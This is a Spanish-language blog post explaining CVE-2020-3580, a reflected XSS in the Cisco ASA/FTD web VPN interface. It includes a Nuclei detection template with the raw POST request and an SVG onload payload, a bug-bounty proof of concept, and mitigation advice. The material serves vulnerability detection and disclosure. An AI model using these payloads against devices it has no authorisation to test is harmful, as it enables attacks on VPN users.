Explotando CVE-2020-3580
Introducción
En este post vengo a relatar como es posible explotar esta vulnerabilidad que afecta a CISCO ASA por si os la encontráis en algun pentest, bug bounty etc.
Descripción
Múltiples vulnerabilidades en la interfaz de servicios web de Cisco Adaptive Security Appliance (ASA) Software y Cisco Firepower Threat Defense (FTD) Software, podrían permitir a un atacante remoto no autenticado conducir ataques de tipo cross-site scripting (XSS) contra un usuario de la interfaz de servicios web de un dispositivo afectado. Las vulnerabilidades son debido a una comprobación insuficiente de la entrada suministrada por el usuario mediante la interfaz de servicios web de un dispositivo afectado. Un atacante podría explotar estas vulnerabilidades al persuadir a un usuario de la interfaz para que haga clic en un enlace diseñado. Una explotación con éxito podría permitir a un atacante ejecutar un código script arbitrario en el contexto de la interfaz o permitir a un atacante acceder a información confidencial basada en el navegador. Nota: Estas vulnerabilidades afectan solo a configuraciones específicas de AnyConnect y WebVPN. Para más información, consulte la sección Vulnerable Products
INCIBE: https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2020-3580
Para la detección de esta vulnerabilidad os pongo el template de Nuclei:
id: CVE-2020-3580
info:
name: CVE-2020-3580
author: Mikey96
severity: Medium
description: CVE-2020-3580 - Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software XSS
requests:
- raw:
- |
POST /+CSCOE+/saml/sp/acs?tgname=a HTTP/1.1
Host: {{Hostname}}
Cookie: webvpnlogin=1; webvpnLang=en
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 66
Upgrade-Insecure-Requests: 1
Te: trailers
Connection: close
SAMLResponse=%22%3E%3Csvg%2Fonload%3Dalert%28document.domain%29%3E
matchers-condition: and
matchers:
- type: word
words:
- '<svg/onload=alert(document.domain)>'
part: body
Se observa dos modelos de detección:
- Una petición POST hacia el endpoint /+CSCOE+/saml/sp/acs?tgname=a
- Inyección del payload SAMLResponse=”><svg/onload=alert(document.domain)>
Os expongo una imagen para que se contemple el flujo que haría un asset afectado. Desde que se detecta a nivel HTML la inyección de la llamada al CISCO ASA, como se intercepta la petición con Burpsuite y se inyecta el payload y finalmente como se renderiza la respuesta en el navegador obteniendo la vulnerabilidad XSS:
El score de la vulnerabilidad es de 6.1 (Medio) CVSS:3.1: /AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Explotación
Se puede llevar a cabo un XSS por medio de una petición POST. A modo prueba de concepto os expongo un caso real de un progama que vi en Bug Bounty por si os puede resultar útil:
Payload utilizado: “><svg/onload=alert(‘Exploited!’)>
En la respuesta del servidor se observa que el body llama a la función submit_saml() y es por este motivo donde se puede hacer una llamada a esta función a nivel SAML realizando una inyección de código malicioso.
Mitigación
Se recomienda realizar este tipo de pautas si se ve afectado algún asset:
- Instalar las actualizaciones del fabricante disponibles en medios oficiales del proveedor, previo análisis del impacto que podría provocar en los servicios críticos para el negocio de su organización. Para ello consulte con su personal técnico o áreas resolutorias correspondientes.
- Las versiones 9.7 y anteriores del software Cisco ASA, así como la versión 9.10, han llegado al final del mantenimiento del software . Se recomienda a los clientes que migren a una versión compatible que incluya la solución para estas vulnerabilidades.
- Las versiones 6.0.1 y anteriores del software Cisco FMC y FTD, así como las versiones 6.2.0 y 6.2.1, han llegado al final del mantenimiento del software . Se recomienda a los clientes que migren a una versión compatible que incluya la solución para estas vulnerabilidades.